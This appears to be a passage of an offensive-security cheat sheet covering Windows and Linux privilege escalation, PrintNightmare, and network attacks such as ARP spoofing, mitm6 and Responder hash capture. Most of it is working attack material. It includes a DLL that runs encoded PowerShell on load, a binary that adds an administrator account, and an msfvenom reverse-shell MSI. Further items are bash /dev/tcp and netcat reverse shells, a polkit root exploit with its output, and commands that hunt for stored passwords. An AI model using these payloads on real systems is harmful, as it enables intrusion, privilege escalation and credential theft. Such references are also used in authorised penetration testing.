// Default function that is executed when the DLL is loaded


void Entry() {
system("powershell -enc <BASE64_PWSH_CODE>");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {


switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Entry, 0, 0, 0);
break;
case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Leveraging PrintNightmare to Abuse RBCD and DCSync the Domain


snovvcrash@gh-pages:~$ _

C#

RCE + LPE:

https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare

PowerShell

LPE:

https://github.com/calebstewart/CVE-2021-1675

Reproducibility

Flowchart by @wdormann:
Mitigation

https://github.com/LaresLLC/CVE-2021-1675

LPE
Local Privilege Escalation

PayloadsAllTheThings/Windows - Privilege Escalation.md

Windows

Local Enumeration

https://www.infosecmatter.com/powershell-commands-for-pentesters/

System Info

PS > Get-ComputerInfo
Cmd > systeminfo
PS > [Environment]::Is64BitOperatingSystem
Cmd > (WMIC OS Get OSArchitecture)[2]

Products & Services

Cmd > WMIC Product GET Name


Cmd > WMIC Service Where "State='Running'" Get Name,DisplayName,PathName,StartMode,State | fin

Network & Process

https://adamtheautomator.com/netstat-port/

PS > Get-Process
PS > [Environment]::Is64BitProcess
Cmd > tasklist /SVC
Cmd > net start
Cmd > ipconfig /all
Cmd > netstat -ano | findstr /i list
PS > Get-NetTCPConnection -State Listen
PS > [System.Net.Dns]::GetHostAddresses('hostname') | % {$_.IPAddressToString}
Cmd > route print [-4]
Cmd > reg query HKLM\SYSTEM\CurrentControlSet\Services\NPCAP

Registry & Filesystem

PS > gci . -recurse -file -ea SilentlyContinue | select fullname


PS > gci "$env:userprofile" -recurse -file -ea SilentlyContinue | select fullname
PS > gi (Get-PSReadLineOption).HistorySavePath
PS > gc $env:appdata\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS > cmd /c dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
PS > cmd /c where /R C:\ *.ini
PS > cmd /c 'cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt'
PS > reg query HKLM /f "password" /t REG_SZ /s
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr /i "Defa
Or
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | select D
PS > reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
PS > [System.Net.WebRequest]::DefaultWebProxy.GetProxy("http://example.com/test.txt")

Users & Groups

PS > Get-LocalGroup
PS > Get-LocalGroupMember Administrators
PS > [wmi] "Win32_userAccount.Domain='$env:computername',Name='Administrator'"
AccessChk

https://www.fuzzysecurity.com/tutorials/16.html

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

https://xor.cat/2017/09/05/sysinternals-accesschk-accepteula/

Find weak file permissions:

Cmd > .\accesschk.exe /accepteula -uwsq Users c:\*.*


Cmd > .\accesschk.exe /accepteula -uwsq "Authenticated Users" c:\*.*

Find weak directory permissions:

Cmd > .\accesschk.exe /accepteula -uwdsq Users c:\

Cmd > .\accesschk.exe /accepteula -uwdsq "Authenticated Users" c:\

Find weak service permissions:

Cmd > .\accesschk.exe /accepteula -uwcqv Users *


Cmd > .\accesschk.exe /accepteula -uwcqv "Authenticated Users" *

upnphost & SSDPSRV (Windows XP)

https://sohvaxus.github.io/content/winxp-sp1-privesc.html
PayloadsAllTheThings/Example with Windows XP SP0/SP1 - upnphost

https://www.exploit-db.com/exploits/1465
http://www.tarasco.org/security/srvcheck/index.html

Weak Service Permissions

Check service permissions with a script:

PS > Get-ServiceAcl -Name VulnerableSvc | select -ExpandProperty Access

Change ownership of the malicious binary to LocalSystem:

PS > $Acl = Get-ACL $filename


PS > $AccessRule= New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\
PS > $Acl.AddAccessRule($AccessRule)
PS > Set-Acl $filename $Acl
Set binPath to point to the malicious binary and trigger vulnerable service:

PS > cmd /c sc config VulnerableSvc binPath= "pwn.exe" obj= LocalSystem start= demand
PS > cmd /c sc qc VulnerableSvc
PS > cmd /c sc start VulnerableSvc

Unquoted Service Paths

https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths

CreateProcessA function parses an unquoted BINARY_PATH_NAME like follows:

C:\Program Files\Vulnerable Service\Vuln Service.exe


-> C:\Program.exe
-> C:\Program Files\Vulnerable.exe
-> C:\Program Files\Vulnerable Service\Vuln.exe

-> C:\Program Files\Vulnerable Service\Vuln Service.exe

It gives an attacker the ability to inject malicious binary into path to be executed with vulnerable service
permissions if she has enough privileges to write into one of these directories:

PS > Get-Acl -Path "C:\Program Files\Vulnerable Service\" | fl

List services and their binary path:

PS > wmic service get name, pathname

Query VulnerableSvc :

Cmd > sc qc VulnerableSvc


[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnerableSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Vulnerable Service\Vuln Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Vulnerable Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Exploit VulnerableSvc :

Cmd > move pwn.exe "C:\Program Files\Sub Directory\Vuln.exe"


Cmd > sc stop VulnerableSvc
Cmd > sc start VulnerableSvc
...Or reboot the PC if the attacker has SeShutdownPrivilege...
Cmd > shutdown /r /t 0

Malious binary example:

pwn.c
// i686-w64-mingw32-gcc -o pwn.exe pwn.c

#include <stdio.h>
#include <stdlib.h>

void main() {
system("net user snovvcrash Passw0rd! /add");
system("net localgroup administrators snovvcrash /add");
}

Always Install Elevated

https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/

Check:

Cmd > reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer


Cmd > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Exploit:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f msi -o rev.m


Cmd > msiexec /quiet /qn /i rev.msi

wuauserv

PS > Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\* | format-list * | findstr /i "snovvcras


PS > Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
PS > reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /
PS > Start-Service wuauserv
...get reverse shell...
PS > Get-Service wuauserv
PS > Stop-Service wuauserv

UPnP Device Host Service

CVE-2019-1405, CVE-2019-1322 - Windows 10, version 1803 < 1809


https://www.programmersought.com/article/35344126658/

https://github.com/apt69/COMahawk/releases

Cmd > .\COMahawk64.exe "C:\Temp\pwn.exe"

RpcEptMapper

CVE-2021-27091

https://itm4n.github.io/windows-registry-rpceptmapper-eop/

https://itm4n.github.io/windows-registry-rpceptmapper-exploit/

https://github.com/itm4n/Perfusion

Potentionally vulnerable Windows versions:

Windows 7
Windows Server 2008 R2

Windows 8
Windows Server 2012

Compile into Release and exploit:

Cmd > .\Perfusion.exe -c cmd -i

HiveNightmare

CVE-2021–36934

https://github.com/GossiTheDog/HiveNightmare
https://github.com/HuskyHacks/ShadowSteal
https://github.com/FireFart/hivenightmare/blob/main/release/hive.exe
https://github.com/cube0x0/CVE-2021-36934

PowerShell one-liner:

PS > powershell -c "foreach ($i in 1..10){$p='\\.\HarddiskVolumeShadowCopy{0}\windows\system32

.NET Sandboxes

When an attacker can compile arbitrary code in privileged context but a Sandbox is in game (like in uMod)
the following approaches can be leveraged to gain admin privs:
Registry keys manipulation.

Deserialization attacks.

Example #1 (Registry) - AlwaysInstallElevated:

using Microsoft.Win32;
...
using (var hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
using (var key = hklm.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
key.SetValue("AlwaysInstallElevated", 0x1, RegistryValueKind.DWord);
}

using (var hkcu = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64))


using (var key = hkcu.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
key.SetValue("AlwaysInstallElevated", 0x1, RegistryValueKind.DWord);
}
...

Example #2 (Registry) - Service binary path:

using Microsoft.Win32;
...
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\services\wuauser
if (key != null)
{
key.SetValue("ImagePath", "c:\windows\system32\spool\drivers\color\nc.exe -e powershell.exe
key.Close();
}
...

Example #3 (Deserialization) - BinaryFormatter:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
...
byte[] payload = Convert.FromBase64String("<BASE64_PAYLOAD>");
//string payload_decoded = Encoding.UTF8.GetString(payload);
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = formatter.Deserialize(stream);
...

Tools
Windows-Exploit-Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

$ python -u windows-exploit-suggester.py -d 2020-09-02-mssb.xls -i systeminfo.txt --ostext 'wi

PowerUp

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf

https://recipeforroot.com/advanced-powerup-ps1-usage/

PS > Invoke-PrivescAudit

JAWS

https://github.com/411Hall/JAWS/blob/master/jaws-enum.ps1

PS > .\jaws-enum.ps1 -OutputFileName out.txt

winPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-
suite/tree/master/winPEAS/winPEASexe

Run from memory:

*Evil-WinRM* PS > menu


*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > Invoke-Binary winPEASany.exe quiet log
Or
PS > [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS > $url = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/mas
PS > $wp = [System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsi
PS > [winPEAS.Program]::Main("quiet log")

PrivescCheck

https://github.com/itm4n/PrivescCheck

PS > Invoke-PrivescCheck -Extended | tee out.txt


Seatbelt

https://github.com/GhostPack/Seatbelt

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Seatbelt.ps1

PS > .\Seatbelt.exe CredEnum


PS > .\Seatbelt.exe ScheduledTasks -outputfile=out.txt
PS > Invoke-Seatbelt -Command "-group=all"
PS > Invoke-Seatbelt -Command "-group=system"
PS > Invoke-Seatbelt -Command "-group=user"

Linux

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Filesystem

Grep for sensitive keywords:

$ grep -nir passw /etc/ 2>/dev/null

Find and list all files newer than 2020-03-16 and not newer than 2020-03-17 :

$ find / -type f -readable -newermt '2020-03-16' ! -newermt '2020-03-17' -ls 2>/dev/null

Find SUID binaries:

# User
$ find / -type f -perm /4000 -ls 2>/dev/null
# Group
$ find / -type f -perm /2000 -ls 2>/dev/null
# Both
$ find / -type f -perm /6000 -ls 2>/dev/null

Dirty COW

https://github.com/FireFart/dirtycow/blob/master/dirty.c

$ curl -L https://github.com/FireFart/dirtycow/raw/master/dirty.c > dirty.c


$ ./dirty
gcc dirty.c
Passw0rd
-o dirty -pthread -lcrypt
$ su firefart

logrotate

https://github.com/whotwagner/logrotten/blob/master/logrotten.c

$ curl https://github.com/whotwagner/logrotten/raw/master/logrotten.c > lr.c


$ gcc lr.c -o lr

$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/10.10.15.171/9001 0>&1' &); fi

$ ./lr -p ./payload -t /home/snovvcrash/backups/access.log -d

https://github.com/whotwagner/logrotten
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition

https://popsul.ru/blog/2013/01/post-42.html

motd

/etc/update-motd.d/ :

$ shellpop --reverse --number 8 -H 127.0.0.1 -P 1337 --base64


$ echo '<BASE64_SHELL>' >> 00-header
* Fire up new SSH session and catch the reverse shell

https://www.securityfocus.com/bid/50192/discuss

PAM MOTD:

https://www.exploit-db.com/exploits/14273
https://www.exploit-db.com/exploits/14339

polkit/dbus-daemon

CVE-2021-3560

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Calculate the approximate time for dbus-send to fail:

$ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /or


Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.014s
user 0m0.003s
sys 0m0.001s

Divide it by 2 or by 3 and create a new user account (you might want to experiment with the number of
milliseconds in the delay and repeat the process a couple of times if needed):

$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/fre


[1] 16405
$
[1]+ Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method
$ id snovvcrash
uid=1003(snovvcrash) gid=1003(snovvcrash) groups=1003(snovvcrash),27(sudo)

Then set a password for it, sudo into a privilege shell and you are root:

$ openssl passwd -5 'N3V3RF34RI15H3R3!'


$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1XjOgcoP0
$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/fre
top.Accounts.User.SetPassword string:'$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1X
[1] 16540
$
[1]+ Terminated dbus-send --system --dest=org.freedesktop.Accounts --type=method
$ su snovvcrash
$ sudo -i
[sudo] password for snovvcrash:
# id
uid=0(root) gid=0(root) groups=0(root)

Tools

LinEnum

https://github.com/rebootuser/LinEnum

$ bash <(wget -qO- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh) -t

linux-smart-enumeration

https://github.com/diego-treitos/linux-smart-enumeration/

$ sh <(wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse
linPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

$ sh <(wget -qO- https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-sc

linux-exploit-suggester

https://github.com/mzet-/linux-exploit-suggester

Locally on target:

$ sh <(wget -qO- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-

On Attacker box providing uname output from Victim:

Victim$ uname -a
Attacket$ curl -sL https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-s
Attacket$ ./les.sh --uname <UNAME_STRING>

SUID3NUM

https://github.com/Anon-Exploiter/SUID3NUM

$ python <(wget -qO- https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num

htbenum

https://github.com/SolomonSklash/htbenum

pspy

https://github.com/DominicBreuker/pspy

A lightweight alternative with Bash:

pspy.sh
#!/usr/bin/env bash

old=$(ps -eo command)

while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep [\<\>]
sleep .3
old=$new
done

DDexec

https://github.com/arget13/DDexec

Executing Linux Binaries Without Touching Disk - Living Off The Land with DDExec an…
an…

Run binaries from memory without touching the disk:

$1 base64 /bin/ls -w0 > ls.b64


$2 curl -sS 10.10.13.37/ls.b64 | bash <(curl -sSL https://github.com/arget13/DDexec/raw/main/d

Networks

https://github.com/frostbits-security/MITM-cheatsheet
https://xakep.ru/2021/08/25/stp-yersinia/
https://xakep.ru/author/necreas1ng/

https://habr.com/ru/users/Necreas1ng/

L2
Data Link Layer (OSI Layer 2)

https://xakep.ru/2020/06/17/windows-mitm/

ARP Spoofing
Address Resolution Protocol

Enable IP forwarding:

$ sudo sysctl -w net.ipv4.ip_forward=1


(sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward')
(edit /etc/sysctl.conf "net.ipv4.ip_forward = 1" to make it permanent)

arpspoof (dsniff)

https://github.com/tecknicaltom/dsniff
https://github.com/GregHoff/dsniff

Install:

$ sudo apt install dsniff -y

Fire up the attack with Wireshark (filter ip.src == VICTIM_10.0.0.5 ) running:

$ sudo arpspoof [-i eth0] [-c both] -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1 [-r]

arpspoof Output Disassembled

Wireshark filter while ARP spoofing:


(http || ftp || smb || smb2 || ldap) && ip.src == VICTIM_10.0.0.5

Portable

https://github.com/byt3bl33d3r/arpspoof
https://github.com/malfunkt/arpfox

As a portable alternative one may use the Python port of arpspoof compiled with PyInstaller:

$ sudo apt install virtualenv


$ pip install pyinstaller=3.5
$ git clone https://github.com/byt3bl33d3r/arpspoof
$ cd arpspoof
$ virtualenv -p `which python2` venv
$ . venv/bin/activate
$ pip install -r requirements.txt
$ pyinstaller --onefile --paths venv/lib/python2.7/site-packages arpspoof/arpspoof.py
$ file dist/arpspoof

Another approach is to download Python dependencies locally and install them on a compromised Linux
host:

Dev$ pip download --no-binary=:all: -r requirements.txt


Compromised$ python -m pip install --no-index --find-links . -r requirements.txt

If you need to launch ARP spoofing on another distro (CentOS, for example), then installing OS
dependencies and using a portable binary may be easier:

Dev$ mkdir /tmp/tcpdump && yum install --downloadonly --downloaddir=/tmp/tcpdump tcpdump


Dev$ ls /tmp/tcpdump
libpcap-1.5.3-12.el7.x86_64.rpm tcpdump-4.9.2-4.el7_7.1.x86_64.rpm

Compromised$ rpm -i libpcap*.rpm tcpdump*.rpm


Compromised$ tcpdump -nvv -i eth0 -s 65535 -w arpfox.pcap "src host VICTIM_10.0.0.5"
Compromised$ ./arpfox -l
Compromised$ ./arpfox -i eth0 -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1

bettercap

https://github.com/bettercap/bettercap
https://www.bettercap.org/modules/
https://linuxhint.com/install-bettercap-on-ubuntu-18-04-and-use-the-events-stream/
https://hackernoon.com/man-in-the-middle-attack-using-bettercap-framework-hd783wzy
https://www.cyberpunk.rs/bettercap-usage-examples-overview-custom-setup-caplets

Deb dependencies (Ubuntu 18.04 LTS):

libpcap0.8_1.8.1-6ubuntu1_amd64.deb

libpcap0.8-dev_1.8.1-6ubuntu1_amd64.deb

libpcap-dev_1.8.1-6ubuntu1_amd64.deb

pkg-config_0.29.1-0ubuntu2_amd64.deb
libnetfilter-queue1_1.0.2-2_amd64.deb

libnfnetlink-dev_1.0.1-3_amd64.deb
libnetfilter-queue-dev_1.0.2-2_amd64.deb

Attack:

$ sudo ./bettercap --iface eth0 --caplet arpspoof.cap

arpspoof.cap
# Quick recon of the network
net.probe on

# Set the ARP spoofing


set arp.spoof.targets $CLIENT_IP
set arp.spoof.internal false
set arp.spoof.fullduplex false

# Control logging and verbosity


events.ignore endpoint
events.ignore net.sniff

# Start the modules


arp.spoof on
net.sniff on

Mitigations
Mitigating ARP spoofing:

Ruijie Anti-ARP Spoofing Technical White Paper.pdf 1021KB


PDF
DHCPv6 Spoofing
Dynamic Host Configuration Protocol version 6

https://g-laurent.blogspot.com/2021/12/responder-and-ipv6-attacks.html

mitm6

https://github.com/fox-it/mitm6

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
https://intrinium.com/mitm6-pen-testing/

Install:

$ git clone https://github.com/fox-it/mitm6 ~/tools/mitm6 && cd ~/tools/mitm6


$ python3 setup.py install
Or
$ pipx install -f "git+https://github.com/fox-it/mitm6.git"

Generate a list of targets for NTLM relay and prepare a C2 listener and stager:

$ cme smb 192.168.1.0/24 --gen-relay-list relay.txt

Start SMB server to capture NTLM hashes and serve the stager:

$ sudo smbserver.py -smb2support share `pwd` | tee -a ~/ws/logs/mitm6-smbserver.out

Get ready to relay authentication and try executing a command:

$ sudo ntlmrelayx.py -6 -tf relay.txt --no-smb-server -wh attacker-wpad -c 'cmd /c C:\Windows\

Start MitMing:

$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn

Parse, sort and save NTLM hashes:

# Users
$ cat ~/ws/logs/mitm6-smbserver.out | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa
$ sort -u -t: -k1,1 net-ntlmv2.mitm6 ~/ws/loot/net-ntlmv2.txt > t
$ mv t ~/ws/loot/net-ntlmv2.txt && rm net-ntlmv2.mitm6
# Machines
$ cat ~/ws/logs/mitm6-smbserver.out | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa

Attack vectors

Grab hashes with smbserver.py (passive):

1. mitm6.py poisons IPv6 DNS entries for all hosts in the /24 network.

2. Victims start to use attacker's machine as the primary DNS server.

3. mitm6.py on the attacker's machine acts like a rogue DNS server and responds with the attacker's IP
for all incoming queries.

4. smbserver.py collects hashes during SMB requests from victims.

Relay authentication with ntlmrelayx.py (active):

1. mitm6.py poisons IPv6 DNS entries for all hosts in the /24 network.

2. Victims start to use attacker's machine as the primary DNS server.

3. mitm6.py on the attacker's machine acts like a rogue DNS server, ntlmrelayx.py serves a
malicious WPAD file with an inexistent hostname (which will be resolved to the attacker's IP anyway)
and acts like a rogue proxy server and mitm6.py responds with the attacker's IP for all the incoming
DNS queries.
4. Victims grab the WPAD file and ask the rogue IPv6 DNS server (attacker's machine) to resolve its
location - resolved to attacker's machine.
5. Victims go to the rogue proxy server and there ntlmrelayx.py responses with HTTP 407 Proxy
Authentication .

LLMNR / NBNS Poisoning


Link-Local Multicast Name Resolution / NetBIOS Name Service

Responder

https://github.com/SpiderLabs/Responder
https://github.com/lgandx/Responder
https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/

https://markclayton.github.io/where-are-my-hashes-responder-observations.html

Install:
$ git clone https://github com/lgandx/Responder ~/tools/Responder && cd ~/tools/Responder

Run:

$ sudo ./Responder.py -I eth0 -Av


$ sudo ./Responder.py -I eth0 -wd -P -v

Parse, sort and save NTLM hashes:

# Users
$ cat logs/*.txt | grep -a . | grep -a -v -e 'logs/' -e '\$' | sort -u -t: -k1,1 > net-ntlmv2
$ sort -u -t: -k1,1 net-ntlmv2.responder ~/ws/loot/net-ntlmv2.txt > t
$ mv t ~/ws/loot/net-ntlmv2.txt && rm net-ntlmv2.responder

# Machines
$ cat logs/*.txt | grep -a '\$' | sort -u -t: -k1,1

Inveigh

https://github.com/Kevin-Robertson/Inveigh

PS > Invoke-Inveigh [-IP '10.10.13.37'] -ConsoleOutput Y -FileOutput Y -NBNS Y -mDNS Y -Proxy

InveighZero

https://github.com/Kevin-Robertson/InveighZero
https://github.com/Flangvik/SharpCollection

PS > .\InveighZero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LL

SNACs Abuse
Stale Network Address Configuration

https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-
configurations/

https://github.com/arch4ngel/eavesarp
Actively analyze ARP traffic and hunt for SNACs (Stale Network Address Configurations):

$ sudo python3 eavesarp.py capture -i eth0 -ar -dr [--blacklist 192.168.1.11]

If a SNAC if found (can be detected, for example, when a host has moved from one IP to another and its
DNS A record not matching its DNS PTR record anymore) so that some application in the network is still
trying to send sensitive data to the stale IP address (because it may simply be hard-coded in the app), an
adversary can set an alias for their interface pretending to be that host with the stale IP and collect all the
traffic intended for it:

# Check again with tcpdump


$ sudo tcpdump -nvv -i eth0 "src host <STALE_IP> and arp"

# Abuse it!
$ sudo tcpdump -nA -i eth0 "src host <STALE_IP> and (dst port 80 or dst port 443)"
Or
$ sudo tcpdump -nvv -i eth0 -s 65535 -w eavesarp.pcap "host <STALE_IP>"

$ sudo ip addr add <STALE_IP>/24 dev eth0

# Clean up
$ sudo ip addr del <STALE_IP>/24 dev eth0

VLAN Hopping
Virtual Local Area Network

https://en.wikipedia.org/wiki/VLAN_hopping

Double VLAN Tagging

https://notsosecure.com/exploiting-vlan-double-tagging/
[PDF] VLAN Hopping Attack (Haboob Team)

NAC Bypass
Network Access Control & Port Security (MAB, IEEE 802.1X, etc.)

https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one/
https://www.thehacker.recipes/physical/networking/network-access-control
https://habr.com/ru/company/jetinfosystems/blog/564238/

How to bypass wired 802.1X

Tools

FENRIR

https://github.com/Orange-Cyberdefense/fenrir-ocd
[PDF] 802.1x NAC & BYPASS TECHNIQUES (Hack in Paris 2017, Valérian LEGRAND)

HIP17 - Talk 12 - 802.1x Network access control & Bypass Techniques by VALERIAN L…
L…
NACKered & nac_bypass

https://github.com/p292/NACKered

https://github.com/scipag/nac_bypass
https://github.com/snovvcrash/nac_bypass

Set up the bridge ( eth0 is connected to the switch, eth1 is connected to the authenticated client):

$ sudo ./nac_bypass_setup.sh -1 eth0 -2 eth1 [-S] [-R]

Check iptables rules:

$ sudo iptables -t nat -L

Reset all the changes (bridge interface and iptables rules):

$ sudo ./nac_bypass_setup.sh -r

Scanning

https://bitvijays.github.io/LFF-IPS-P1-IntelligenceGathering.html#identifying-alive-ip-addresses
https://livebook.manning.com/book/penetrating-enterprise-networks/chapter-2/
https://www.offensive-security.com/offsec/pythonizing-nmap/

https://github.com/gh0x0st/pythonizing_nmap

Host Discovery

ARP

